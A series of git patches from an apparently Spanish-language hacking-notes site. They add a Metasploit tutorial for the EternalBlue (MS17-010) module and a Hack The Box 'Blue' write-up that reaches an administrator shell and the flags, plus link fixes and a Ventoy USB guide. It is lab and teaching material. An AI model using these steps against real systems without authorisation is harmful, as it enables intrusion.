a/Herramientas_y_Scripts/Metasploit.md b/Herramientas_y_Scripts/Metasploit.md index 7a56fb8848d..dfe5fe4c1c5 100644 --- a/Herramientas_y_Scripts/Metasploit.md +++ b/Herramientas_y_Scripts/Metasploit.md @@ -1,4 +1,4 @@ -# Metasploit +![45d05b2d7bd477a3cac9786ef8cf6e29](https://user-images.githubusercontent.com/103068924/168299911-cf99878d-756d-4497-91d1-49c0571d278b.png) # ¿Qué es Metasploit? @@ -15,16 +15,80 @@ completamente en el lenguaje Ruby. Los pasos básicos para la explotación de un sistema que utiliza el Sistema incluyen: -1.La selección y configuración de un código el cual se va a explotar . El cual entra al sistema objetivo, mediante el aprovechamiento de una de -bugs; Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X. -2.Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. -3.La técnica para codificar el sistema de prevención de intrusiones (IPS) e ignore la carga útil codificada. -4.Visualización a la hora de ejecutar el exploit. +1. La selección y configuración de un código el cual se va a explotar. El cual entra al sistema objetivo, mediante el aprovechamiento de +bugs. Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac OS X. + +2. Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. + +3. La técnica para codificar el sistema de prevención de intrusiones (IPS) e ignore la carga útil codificada. + +4. Visualización a la hora de ejecutar el exploit. Metasploit se ejecuta en Unix (incluyendo Linux y Mac OS X) y en Windows. El Sistema Metasploit se puede extender y es capaz utilizar complementos en varios idiomas. Para elegir un exploit y la carga útil, se necesita un poco de información sobre el sistema objetivo, como la versión del sistema operativo y los -servicios de red instalados. Esta información puede ser obtenida con el escaneo de puertos y "OS fingerprinting", puedes obtener esta información +servicios de red instalados. + +Esta información puede ser obtenida con el escaneo de puertos y "OS fingerprinting", puedes obtener esta información con herramientas como Nmap, NeXpose o Nessus, estos programas, pueden detectar vulnerabilidades del sistema de destino. Metasploit puede importar los datos de la exploración de vulnerabilidades y comparar las vulnerabilidades identificadas. + +# Instalación: + +Para poder instalar Metasploit en sistemas basados en Debian como Parrot o Kali Linux, primero actualizamos el sistema: + + sudo apt-get update + +Y luego procedemos con la instalación: + + sudo apt-get install metasploit-framework + +Una vez instalado podemos ejecutarlo mediante el comando: + + msfconsole + +![Captura de pantalla -2022-05-13 02-39-06](https://user-images.githubusercontent.com/103068924/168301223-b00a6c4b-9582-42c4-8adf-85b44e3ebfcc.png) + +# Búsqueda de Exploits: + +Metasploit cuenta con una gran recopilación de exploits, para poder buscar el adecuado filtrando por la vulnerabilidad que queremos explotar +simplemente utilizamos el comando `search` seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos +ejecutarlo una vez hemos ingresado en `msfconsole`: + + search [Información que identifique la vulnerabilidad.] + +![Captura de pantalla -2022-05-13 13-05-57](https://user-images.githubusercontent.com/103068924/168302351-3f912051-c282-44f8-a783-8ea373f84284.png) + +## Conceptos básicos de configuración: + +Una vez nos muestra las listas (en este ejemplo hemos buscado la vulnerabilidad ms17-010 conocida como EthernalBlue) de los exploits que contienen +la iformación proporcionada. En mi caso como he especificado la vulnerabilidad `ms17-'010` los resultados son muy concretos. + +Una vez tenemos claro el exploit que deaseamos utilizar podemos seleccionarlo mediante `use` seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit. + + use 0 + +![Captura de pantalla -2022-05-13 13-06-25](https://user-images.githubusercontent.com/103068924/168303141-286e5f50-4e31-44b6-93a1-497f1e553a3f.png) + +Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos utilizar el comando `options`. + +![Captura de pantalla -2022-05-13 13-26-24](https://user-images.githubusercontent.com/103068924/168303659-f3e2dbc6-913a-48ae-9f0a-e01faf0cd725.png) + +Para configurar los parametros simplemente utilizamos `set` seguido del parametro a cambiar. Debemos especificar el `RHOSTS` donde indicamos la Ip +de la víctima, el `LHOST` donde indicaremos nuestra Ip pública (En caso de utilizar una VPN debemos poner la Ip de misma.) y finalmente, indicamos +el `LPORT` que es el puerto por el cual nos pondremos en escucha. + + set RHOSTS [Ip Víctima] + + set LHOST [Ip Local] + + set LPORT [Puerto de Escucha] + +![Captura de pantalla -2022-05-13 13-25-31](https://user-images.githubusercontent.com/103068924/168304755-70ce4ee5-3ce0-440f-a1ab-8f68ad035dff.png) + +Finalmente, una vez lo tenemos todo configurado ejemcutamos el exploit deseado mediante el comando `exploit`: + + exploit + + From 4f359548a7559967c88263aaa7e615ec9ed3ff50 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:32:27 +0200 Subject: [PATCH 0348/1701] Update Metasploit.md --- Herramientas_y_Scripts/Metasploit.md | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/Herramientas_y_Scripts/Metasploit.md b/Herramientas_y_Scripts/Metasploit.md index dfe5fe4c1c5..8578d094313 100644 --- a/Herramientas_y_Scripts/Metasploit.md +++ b/Herramientas_y_Scripts/Metasploit.md @@ -7,8 +7,7 @@ tests de penetración `Pentesting` y el desarrollo de firmas para sistemas de de Su subproyecto más conocido es el `Metasploit Framework`, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. -Otros subproyectos importantes son las bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad. -Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo +Inicialmente, fue creado utilizando el lenguaje de programación de scripting Perl aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby. # ¿Como funciona Metasploit? @@ -20,7 +19,7 @@ bugs. Existen cerca de 900 exploits incluidos para Windows, Unix / Linux y Mac O 2. Opción para comprobar si el sistema destino es susceptible a los bugs elegidos. -3. La técnica para codificar el sistema de prevención de intrusiones (IPS) e ignore la carga útil codificada. +3. La técnica para codificar el sistema de prevención de intrusiones (IPS) e incluir la carga útil codificada. 4. Visualización a la hora de ejecutar el exploit. @@ -53,7 +52,7 @@ Una vez instalado podemos ejecutarlo mediante el comando: # Búsqueda de Exploits: Metasploit cuenta con una gran recopilación de exploits, para poder buscar el adecuado filtrando por la vulnerabilidad que queremos explotar -simplemente utilizamos el comando `search` seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos +simplemente usamos el comando `search` seguido del exploit, la vulnerabilidad o la versión del sistema que vamos a vulnerar. Esto debemos ejecutarlo una vez hemos ingresado en `msfconsole`: search [Información que identifique la vulnerabilidad.] @@ -63,20 +62,20 @@ ejecutarlo una vez hemos ingresado en `msfconsole`: ## Conceptos básicos de configuración: Una vez nos muestra las listas (en este ejemplo hemos buscado la vulnerabilidad ms17-010 conocida como EthernalBlue) de los exploits que contienen -la iformación proporcionada. En mi caso como he especificado la vulnerabilidad `ms17-'010` los resultados son muy concretos. +la iformación proporcionada. En mi caso, como he especificado la vulnerabilidad `ms17-'010` los resultados son muy concretos. -Una vez tenemos claro el exploit que deaseamos utilizar podemos seleccionarlo mediante `use` seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit. +Una vez tenemos claro el exploit que deseamos emplear, podemos seleccionarlo mediante `use` seguido o del número de posición en la lista, el directorio o el nombre del mismo exploit. use 0 ![Captura de pantalla -2022-05-13 13-06-25](https://user-images.githubusercontent.com/103068924/168303141-286e5f50-4e31-44b6-93a1-497f1e553a3f.png) -Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos utilizar el comando `options`. +Tras seleccionar el exploit ya solo faltaría configurarlo. Para ver la configuración predeterminada podemos usar el comando `options`. ![Captura de pantalla -2022-05-13 13-26-24](https://user-images.githubusercontent.com/103068924/168303659-f3e2dbc6-913a-48ae-9f0a-e01faf0cd725.png) Para configurar los parametros simplemente utilizamos `set` seguido del parametro a cambiar. Debemos especificar el `RHOSTS` donde indicamos la Ip -de la víctima, el `LHOST` donde indicaremos nuestra Ip pública (En caso de utilizar una VPN debemos poner la Ip de misma.) y finalmente, indicamos +de la víctima, el `LHOST` donde indicaremos nuestra Ip pública (En caso de emplear una VPN debemos poner la Ip de misma.) y finalmente, indicamos el `LPORT` que es el puerto por el cual nos pondremos en escucha. set RHOSTS [Ip Víctima] @@ -87,8 +86,7 @@ el `LPORT` que es el puerto por el cual nos pondremos en escucha. ![Captura de pantalla -2022-05-13 13-25-31](https://user-images.githubusercontent.com/103068924/168304755-70ce4ee5-3ce0-440f-a1ab-8f68ad035dff.png) -Finalmente, una vez lo tenemos todo configurado ejemcutamos el exploit deseado mediante el comando `exploit`: +Finalmente, una vez lo tenemos todo configurado, ejecutamos la herramienta deseada mediante el comando `exploit`: exploit - From 7d2b0a6989c1870a54f51539916ed2e3851ecef0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:36:58 +0200 Subject: [PATCH 0349/1701] Update index.md --- index.md | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 2bd6e82b273..8a7cde6bed0 100644 --- a/index.md +++ b/index.md @@ -6,8 +6,9 @@ |[HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) |[HTB-Responder](./Starting Point/HTB-Responder.html) | |[HTB-Lame](./Maquinas-HTB/HTB-Lame.html) |[HTB-Vaccine](./Starting Point/HTB-Vaccine.html) | |[HTB-Cap](./Maquinas-HTB/HTB-Cap.html) | | - +|[HTB-Blue](./Maquinas-HTB/HTB-Blue.html) | | + --- # Artículos @@ -58,6 +59,14 @@ pasar por una persona, empresa o servicio de confianza, para manipularla y hacer [Setoolkit](./Herramientas_y_Scripts/Setoolkit.html) +## Exploits: + +Un exploit es una pieza de software, un fragmento de datos o una secuencia de comandos que aprovecha un error o una vulnerabilidad para provocar +un comportamiento no deseado o imprevisto en el software, el hardware o algo electrónico de la computadora. Tal comportamiento frecuentemente +incluye cosas como obtener el control de un sistema informático, permitir la escalada de privilegios o un ataque de denegación de servicio. + +[Metasploit](./Herramientas_y_Scripts/Metasploit.html) + ## WordPress: Escaneo de vulnerabilidades en páginas WordPress. From 9533bb376ccbf8392e8d085d6f73ceb12ea3e900 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:40:48 +0200 Subject: [PATCH 0350/1701] =?UTF-8?q?Update=20Art=C3=ADculos-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Art\303\255culos/Art\303\255culos-HTB.md" | 3 +++ 1 file changed, 3 insertions(+) diff --git "a/Art\303\255culos/Art\303\255culos-HTB.md" "b/Art\303\255culos/Art\303\255culos-HTB.md" index db437118b97..766c3f8ce4d 100644 --- "a/Art\303\255culos/Art\303\255culos-HTB.md" +++ "b/Art\303\255culos/Art\303\255culos-HTB.md" @@ -1,5 +1,8 @@ # Artículos sobre Hack The Box +![Captura de pantalla -2022-05-11 01-09-56](https://user-images.githubusercontent.com/103068924/168307701-02088058-d68d-41cd-bf72-ffe6803ed7e4.png) + + [Fase de Reconocimiento - HTB](../Artículos/Fase_de_reconocimiento-HTB.html) [¿Como conectarse a Htb?](../Artículos/Como_conectarse_a_HTB.html) From 6b6c1327d6be380e1fbeb30085d0f1aeb2fd81ac Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:44:44 +0200 Subject: [PATCH 0351/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 8d2cc8b3a9b..736369add2c 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -26,4 +26,4 @@ Para descargar tanto vídeos como audio de Youtube desde la Terminal. # Gestor de Comandos: -[ZSH](../Linux/Introducción_a_Linux/ZSH.html) +[ZSH](../Linux/ZSH/ZSH.html) From eb1571995b286e6487fb8b1f1ae831c415717b2f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 16:50:23 +0200 Subject: [PATCH 0352/1701] Update ZSH.md --- Linux/ZSH/ZSH.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/ZSH/ZSH.md b/Linux/ZSH/ZSH.md index d080423b905..d341efe7c47 100644 --- a/Linux/ZSH/ZSH.md +++ b/Linux/ZSH/ZSH.md @@ -62,5 +62,5 @@ La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argum # Funciones: -### [Función SetTarget](../Linux/ZSH/Settarget.html) +### [Función SetTarget](../../Linux/ZSH/Settarget.html) From dd75b77347dae4eefab521431dc3d41bdfbbd208 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:06:23 +0200 Subject: [PATCH 0353/1701] Update ZSH.md --- Linux/ZSH/ZSH.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/ZSH/ZSH.md b/Linux/ZSH/ZSH.md index d341efe7c47..922ec5d189e 100644 --- a/Linux/ZSH/ZSH.md +++ b/Linux/ZSH/ZSH.md @@ -62,5 +62,5 @@ La ZSH funciona leyendo el archivo `.zshenv` a menos que se especifique el argum # Funciones: -### [Función SetTarget](../../Linux/ZSH/Settarget.html) +### [Función SetTarget](f1r0x.github.io/Linux/ZSH/Settarget.html) From 14114e0094deeabea0da9b9ee27741c5b9da6d7a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:30:57 +0200 Subject: [PATCH 0354/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index e99b7a53c10..31f7a22ddbb 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -145,6 +145,30 @@ Finalmete ejecutamos el exploit: ![Captura de pantalla -2022-05-13 13-09-48](https://user-images.githubusercontent.com/103068924/168273321-abd7ac24-82f9-4e54-b183-6f2f70132efb.png) +Si todo funciona correctamente se nos tendría que abrir una shell. En caso de daros algún error es posible que tengaís que reiniciar la máquina y +el Metasploit y volver a intentar el ataque. + + +![Captura de pantalla -2022-05-13 17-48-20](https://user-images.githubusercontent.com/103068924/168326527-fa31beac-78dc-4236-b075-22186c53a8b4.png) + + +Esta vulnerabilidad es muy grave ya que mediante este exploit pasamos a tenerlos máximos privilegios, por tanto, podemos ver todos los archivos +incluida la flaf de `root`. + +Para encontrar la primera flag simplemente nos dirigimos al directoio `C:\Users\haris\Desktop`: + + cd /Users/haris/Desktop + +Podemos listar los archivos del directorio mediante `ls` y mediante `cat` nos reportará por consla el contenido. + +![Captura de pantalla -2022-05-13 17-50-12](https://user-images.githubusercontent.com/103068924/168327189-8d5ecd5b-e4f5-47fb-815d-3d6ecae6851a.png) + +Finalmente, la flag del usuario `root` la podemos encontrar en el directorio `C:\Users\Administrator\Desktop\`. + +![Captura de pantalla -2022-05-13 17-50-59](https://user-images.githubusercontent.com/103068924/168327406-bb7a2c94-5b04-4219-ac01-ec0a2b6219ec.png) + +![Captura de pantalla -2022-05-13 17-51-26](https://user-images.githubusercontent.com/103068924/168327424-9413230b-de79-4710-9efc-140e15dad727.png) + From 0b21a4b82f917d880cb8e22b0f8fec56c93664b7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:32:44 +0200 Subject: [PATCH 0355/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 1 + 1 file changed, 1 insertion(+) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 31f7a22ddbb..648089f958a 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -169,6 +169,7 @@ Finalmente, la flag del usuario `root` la podemos encontrar en el directorio `C: ![Captura de pantalla -2022-05-13 17-51-26](https://user-images.githubusercontent.com/103068924/168327424-9413230b-de79-4710-9efc-140e15dad727.png) +![Captura de pantalla -2022-05-13 11-40-500](https://user-images.githubusercontent.com/103068924/168327730-476d67f7-5298-41f3-8f38-c92a0bb8fbff.png) From fac41a56d4811f0d21f0184603b5a7b5d68e1f9f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:34:34 +0200 Subject: [PATCH 0356/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 648089f958a..746141c7ea6 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -145,21 +145,21 @@ Finalmete ejecutamos el exploit: ![Captura de pantalla -2022-05-13 13-09-48](https://user-images.githubusercontent.com/103068924/168273321-abd7ac24-82f9-4e54-b183-6f2f70132efb.png) -Si todo funciona correctamente se nos tendría que abrir una shell. En caso de daros algún error es posible que tengaís que reiniciar la máquina y +Si todo funciona correctamente se nos tendría que abrir una shell. En caso de daros algún error, es posible que tengáis que reiniciar la máquina y el Metasploit y volver a intentar el ataque. ![Captura de pantalla -2022-05-13 17-48-20](https://user-images.githubusercontent.com/103068924/168326527-fa31beac-78dc-4236-b075-22186c53a8b4.png) -Esta vulnerabilidad es muy grave ya que mediante este exploit pasamos a tenerlos máximos privilegios, por tanto, podemos ver todos los archivos +Esta vulnerabilidad es muy grave, ya que mediante este exploit pasamos a tenerlos máximos privilegios, por tanto, podemos ver todos los archivos, incluida la flaf de `root`. -Para encontrar la primera flag simplemente nos dirigimos al directoio `C:\Users\haris\Desktop`: +Para encontrar la primera flag simplemente nos dirigimos al directorio `C:\Users\haris\Desktop`: cd /Users/haris/Desktop -Podemos listar los archivos del directorio mediante `ls` y mediante `cat` nos reportará por consla el contenido. +Podemos listar los archivos del directorio mediante `ls` y mediante `cat` nos reportará por consola el contenido. ![Captura de pantalla -2022-05-13 17-50-12](https://user-images.githubusercontent.com/103068924/168327189-8d5ecd5b-e4f5-47fb-815d-3d6ecae6851a.png) From 75e9e02f82819b0b61069fdf7508a94096b2d19e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:39:34 +0200 Subject: [PATCH 0357/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 746141c7ea6..c01a583a685 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -22,7 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### NMAP +### NMAP [ﴕ](../Herramientas_y_Scripts/Nmap.html) Ahora mediante `nmap` realizaremos un escaneo de puertos: From 47e916a260010479a28249dcf7a3f1b617169c35 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:41:03 +0200 Subject: [PATCH 0358/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index c01a583a685..9c1ecfc37f4 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -22,7 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### NMAP [ﴕ](../Herramientas_y_Scripts/Nmap.html) +### NMAP [](../Herramientas_y_Scripts/Nmap.html) Ahora mediante `nmap` realizaremos un escaneo de puertos: From 8cad9942f40e6005308a5df72dc658a14fa1eb8e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:43:39 +0200 Subject: [PATCH 0359/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 9c1ecfc37f4..da18ba77a68 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -22,7 +22,8 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### NMAP [](../Herramientas_y_Scripts/Nmap.html) +### NMAP [![image](https://user-images.githubusercontent.com/103068924/168329320-cae16cfe-0669-49b2-a4fe-6d7d9a9f5e19.png) +](../Herramientas_y_Scripts/Nmap.html) Ahora mediante `nmap` realizaremos un escaneo de puertos: From 3e86610a7d7bd7aa3e97b06dfb3c3ff1d9c2c1c8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:48:39 +0200 Subject: [PATCH 0360/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index da18ba77a68..8d14631ab42 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -22,8 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### NMAP [![image](https://user-images.githubusercontent.com/103068924/168329320-cae16cfe-0669-49b2-a4fe-6d7d9a9f5e19.png) -](../Herramientas_y_Scripts/Nmap.html) +### NMAP [留](../Herramientas_y_Scripts/Nmap.html) Ahora mediante `nmap` realizaremos un escaneo de puertos: From 1398b9c45d79aaeaeaa8eef3b8a527ffba5282a2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:49:15 +0200 Subject: [PATCH 0361/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 8d14631ab42..3403d1d71fe 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -22,7 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### NMAP [留](../Herramientas_y_Scripts/Nmap.html) +### [留](../Herramientas_y_Scripts/Nmap.html) NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: From 15b50a4b9dcadcca29a2a4d6cadd868ee6a46516 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:50:54 +0200 Subject: [PATCH 0362/1701] Update HTB-Blue.md --- Maquinas-HTB/HTB-Blue.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Maquinas-HTB/HTB-Blue.md b/Maquinas-HTB/HTB-Blue.md index 3403d1d71fe..7f6fa45568a 100644 --- a/Maquinas-HTB/HTB-Blue.md +++ b/Maquinas-HTB/HTB-Blue.md @@ -14,7 +14,7 @@ de trabajo: Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB. -### PING +## PING Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. @@ -22,7 +22,7 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos ![Captura de pantalla -2022-05-13 02-23-49](https://user-images.githubusercontent.com/103068924/168258904-068e429f-b39a-4aa5-84f2-921190929c68.png) -### [留](../Herramientas_y_Scripts/Nmap.html) NMAP +## [留](../Herramientas_y_Scripts/Nmap.html) NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: @@ -108,6 +108,8 @@ conocidas del sistema y `safe` lo utilizamos para no causar ningún tipo de dene Vemos que `Metasploit` nos reporta el exploit `SMB Remote Code Execution Scanner (MS17-010) (Metasploit)`. Vamos abrir Metasploit y a buscar si disponemos del exploit. + ## [留](../Herramientas_y_Scripts/Metasploit.html) Metasploit + Abrimos Metasploit: msfconsole From 04fbea2774c2b89a26f378b57d368762c1f1d568 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 13 May 2022 18:52:40 +0200 Subject: [PATCH 0363/1701] Update HTB-Cap.md --- Maquinas-HTB/HTB-Cap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Cap.md b/Maquinas-HTB/HTB-Cap.md index 035807bfb93..4b46cf18443 100644 --- a/Maquinas-HTB/HTB-Cap.md +++ b/Maquinas-HTB/HTB-Cap.md @@ -35,7 +35,7 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: Vemos que no nos reporta nada interesante, así que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos los puertos abiertos. -## NMAP +## [留](../Herramientas_y_Scripts/Nmap.html) NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: From 096087c72a7e1bd8c28ed818ce420dc8a4fa663e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:28:24 +0200 Subject: [PATCH 0364/1701] Create Ventoy.md --- Linux/Programas_para_Linux/Ventoy.md | 53 ++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 Linux/Programas_para_Linux/Ventoy.md diff --git a/Linux/Programas_para_Linux/Ventoy.md b/Linux/Programas_para_Linux/Ventoy.md new file mode 100644 index 00000000000..7574266e857 --- /dev/null +++ b/Linux/Programas_para_Linux/Ventoy.md @@ -0,0 +1,53 @@ +# Ventoy + +# ¿Qué es Ventoy? + +Ventoy es un utilitario libre y de código abierto que se utiliza para escribir archivos de imagen como.iso,.wim,.img,.vhd y.efi en medios +de almacenamiento para crear unidades flash USB de arranque. + +# Instalación: + +Para proceder con la instalación, en primer lugar, debemos descargarnos el programa, podemos hacerlo desde su web oficial +[`https://ventoy.net/en/download.html`](https://ventoy.net/en/download.html) o si estamos utilizando Linux podemos clonarlo directamente de GitHub +mediante el comando: + + git clone https://github.com/ventoy/Ventoy.git + +Una vez descargado descomprimimos el archivo. Para ello nos dirigimos al directorio donde se encuentre el archivo descargado y ejecutamos el siguiente +comando: + + tar -xf [Archivo.tar.gz] + +Una vez descomprimido, vemos que nos aparece una carpeta nueva en el mismo directorio. Ya disponemos de Ventoy y podemos borrar el archivo `.tar.gz` que +hemos descomprimido. Finalmente, para instalarlo ejecutamos: + + ./VentoyGUI.x86_64 + +Se nos abrirá una interfaz gráfica desde la cual realizamos la instalación de Ventoy en cualquier USB. + +# Bootear USB con Ventoy: + +Una vez tenemos Ventoy instalado y un USB listo en nuestro PC, lo primero que tendremos que hacer es formatear y montar el USB. Para ello en primer lugar +identificamos su directorio: + + fdisk -l + +Vemos que el directorio de nuestro USB es el `/dev/sdb`. El siguiente paso será abrir una terminal desde el directorio que contiene el programa Ventoy, +(la carpeta descomprimida anteriormente) y proceder a montar Ventoy mediante el siguiente comando: + + sudo sh Ventoy2Disk.sh -i /dev/sdb + +Al terminar se nos avisará de que la instalación se ha ejecutado correctamente o de si debemos realizar algún procedimiento adicional. + +Una vez montado Ventoy en nuestro USB, veremos que el nombre de nuestro dispositivo USB abra pasado a llamarse Ventoy. + +Ahora, para montar un archivo `.iso` lo único que debemos hacer es copiarlo dentro del USB. Podemos copiar varios archivos `.iso`, ya que antes +de realizar el arranque nos preguntara que Sistema Operativo deseamos ejecutar. Es importante que el dispositivo USB tenga espacio de sobra para +poder almacenar los distintos archivos.iso. + +Finalmente, una vez copiadas las .iso podemos arrancar el PC desde la Bios y seleccionar el Sistema Operativo que queramos. + + + + + From fa4d18fb0557f92259ccd73b9dc40b51db007a5f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:36:54 +0200 Subject: [PATCH 0365/1701] Update Ventoy.md --- Linux/Programas_para_Linux/Ventoy.md | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/Linux/Programas_para_Linux/Ventoy.md b/Linux/Programas_para_Linux/Ventoy.md index 7574266e857..72e4e9ffbb5 100644 --- a/Linux/Programas_para_Linux/Ventoy.md +++ b/Linux/Programas_para_Linux/Ventoy.md @@ -13,11 +13,21 @@ 